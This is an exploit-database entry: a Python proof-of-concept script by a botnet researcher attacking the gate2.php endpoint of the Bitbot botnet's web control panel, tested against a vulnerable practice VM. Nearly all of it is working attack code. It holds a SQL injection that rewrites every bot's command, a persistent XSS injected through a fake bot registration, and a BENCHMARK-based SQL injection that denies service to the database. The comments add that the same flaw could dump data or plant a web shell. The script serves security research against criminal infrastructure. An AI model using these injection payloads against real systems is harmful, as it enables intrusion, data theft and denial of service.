Bitbot (C2 Web Panel) - 'gate2.php' Multiple Vulnerabilities

# Exploit Title: Bitbot C2 Panel gate2.php SQLi + XSS
# Date: 08/19/2013
# Exploit Author: Brian Wallace (bwall aka @botnet_hunter)
# Software Link: https://sourceforge.net/p/flippingbitbot/wiki/Home/ (Vulnerable Virtual Machine including Bitbot)
# Tested on: Debian/Ubuntu
from StringIO import StringIO
import datetime
import urllib
import pycurl
import time

'''
Proof of concepts for the base attacks against the Bitbot panel.
By: Brian Wallace (bwall) @botnet_hunter

You can test these against the Vulnerable Virtual Machine challenge featuring
Bitbot at https://sourceforge.net/p/flippingbitbot/wiki/Home/ and
read details about more elaborate attacks against Bitbot at 
http://cylance.com/techblog/A-Study-in-Bots-Bitbot.shtml

"drop" - Sets the command on all the bots to uninstall themselves, a modified
version could be used to get the bots to download and execute a file.

"xss" - Injects a fake bot which causes a persistent XSS in the bot panel, this
attack can be used to get information about the botter, or used to change
configuration values, such as which mining pool the bots are sending to.  There
is very limited room for the XSS.  Since very few of the values go through any
sanitization, it would be possible to implement the attack across multiple
parameters.

"dos" - While this attack implements a denial of service attack, it also shows
a simpler SQLi vulnerability than the one used to inject commands into the
bots.  This one could be used to potentially dump the database, write a web
shell and read files from the host.  I'll leave that to your imagination.  The
implemented attack will DoS the MySQL server, and if repeated, eventually it
can DoS the Apache server if a max instance count is set (default configuration
will take only 150 to lock bots/botters out of Apache).  The current version is a
blocking call.
'''


def Log(message):
    t = time.time()
    ts = datetime.datetime.fromtimestamp(t).strftime('%Y-%m-%d %H:%M:%S')
    print ">>>> %(message)s" % {"message": message}


def drop(logger, botpanel, command):
    params = urllib.urlencode({"connection": 0,
            "hwid": "not the right bot' OR `cmd`!='" + command +
            "' LIMIT 1-- -",
            "btc": "0',`cmd`='" + command})
    query = "/gate2.php?" + params
    logger("Initiating change command on all bots process")
    logger("Using `%(query)s` to modify the command of each bot" % {
        'query': botpanel + query})
    count = 0
    while True:
        storage = StringIO()
        c = pycurl.Curl()
        c.setopt(c.URL, botpanel + query)
        c.setopt(c.WRITEFUNCTION, storage.write)
        c.perform()
        c.close()
        data = storage.getvalue()
        if data == "":
            logger("%(count)d bots set to be removed" % {'count': count})
            break
        count += 1


def dos(logger, botpanel, command):
    params = urllib.urlencode({"connection": 0,
            "hwid": command})
    query = "/gate2.php?" + params
    logger("Initiating denial of service attack on panel")
    logger("Using `%(query)s` to DoS the panel" % {
        'query': botpanel + query})
    storage = StringIO()
    c = pycurl.Curl()
    c.setopt(c.URL, botpanel + query)
    c.setopt(c.WRITEFUNCTION, storage.write)
    c.perform()
    c.close()
    logger("DoS query has been set")


def xss(logger, botpanel, command):
    params = urllib.urlencode({"connection": 0,
                "hwid": "007",
                "version": 'pth',
                "country": 'RUS',
                "windows": 'Windows' + command,
                "sysinfo": 'False Flag',
                "btc": 'all'})
    query = "/gate2.php?" + params
    logger("Initiating fake bot for XSS process")
    logger("Using `%(query)s` to inject a fake bot to poison the panel" % {
        'query': botpanel + query})
    storage = StringIO()
    c = pycurl.Curl()
    c.setopt(c.URL, botpanel + query)
    c.setopt(c.WRITEFUNCTION, storage.write)
    c.perform()
    c.close()
    logger("Persistent XSS has been set")


def Menu(botpanel):
    Log("Commands:")
    Log("xss: Persistent XSS PoC")
    Log("drop: SQLi to set the command for all bots")
    Log("dos: Simple SQLi implementation to DoS the MySQL server")
    Log("quit: Exit all threads and quit")

    command = raw_input("> ")
    if command == "drop":
        drop(Log, botpanel, "REMOVE")

    if command == "xss":
        xss(Log, botpanel, "<script>alert(1);</script>")

    if command == "dos":
        dos(Log, botpanel, "1' UNION ALL SELECT 1,1,1,1,1,1,BENCHMARK(100000" +
        "00000000,MD5(REPEAT('a',100000000000000000000000))),1,1,1,1,'1")

    if command == "quit":
        Quit()
        return False
    return True

if __name__ == "__main__":
    botpanel = "http://localhost:8080"
    Log("Using bitbot panel at " + botpanel)
    Log("Initializing")

    while Menu(botpanel):
        pass